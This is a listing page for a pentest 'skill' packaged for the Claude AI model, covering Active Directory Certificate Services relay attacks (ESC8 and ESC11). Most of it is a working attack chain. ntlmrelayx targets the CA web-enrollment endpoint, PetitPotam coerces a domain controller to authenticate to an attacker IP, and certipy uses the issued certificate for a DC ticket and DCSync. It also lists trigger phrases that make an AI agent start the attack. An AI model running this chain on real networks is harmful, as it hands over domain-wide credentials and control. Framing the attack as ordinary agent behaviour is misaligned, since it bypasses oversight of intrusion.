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adcs-access-and-relay

Active Directory Certificate Services relay and endpoint abuse — ESC8 (NTLM relay to the CA web-enrollment/HTTP endpoints) and ESC11 (relay to the RPC enrollment interface), combined with authentication coercion to obtain a certificate for a privileged machine or user. Use when AD CS web/RPC enrollment endpoints are reachable.

AnandJogawade · 已有静态检查记录

安装与使用

运行命令前先阅读来源与依赖说明。复制命令不会自动安装或执行。

npx skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill adcs-access-and-relay

技能说明


name: adcs-access-and-relay description: Active Directory Certificate Services relay and endpoint abuse — ESC8 (NTLM relay to the CA web-enrollment/HTTP endpoints) and ESC11 (relay to the RPC enrollment interface), combined with authentication coercion to obtain a certificate for a privileged machine or user. Use when AD CS web/RPC enrollment endpoints are reachable.

AD CS Relay & Endpoint Abuse (ESC8 / ESC11)

The CA's HTTP (web enrollment) and RPC enrollment endpoints often accept relayed NTLM authentication. Coerce a privileged machine to authenticate, relay it to the CA, and get a certificate as that machine — then compromise it.

Trigger phrases

esc8, esc11, adcs relay, certsrv, web enrollment, ntlmrelayx adcs, petitpotam, certificate relay

ESC8 — relay to web enrollment

# 1. Set up relay to the CA's certsrv endpoint
ntlmrelayx.py -t http://<ca>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 2. Coerce a DC/target to authenticate to you (see auth-coercion-relay)
PetitPotam.py -u <user> -p <pass> <attacker-ip> <dc>
# 3. ntlmrelayx captures a base64 cert for the DC machine account
# 4. Authenticate with it
certipy auth -pfx dc.pfx -dc-ip <dc>     # -> DC TGT -> DCSync

ESC11 — relay to RPC enrollment (ICPR)

When web enrollment is disabled but the RPC endpoint lacks packet integrity, relay there instead (certipy/ntlmrelayx ICPR support).

Requirements & notes

  • Needs a coercion primitive (auth-coercion-relay) and a reachable, unprotected enrollment endpoint (no HTTPS/EPA enforcement for ESC8).
  • Relaying a DC machine account → immediate domain compromise.

Escalation

Machine cert → certipy auth → TGT/NT hash → DCSync → domain dominance.

Evidence

The relay capture, the issued certificate, and privileged access obtained.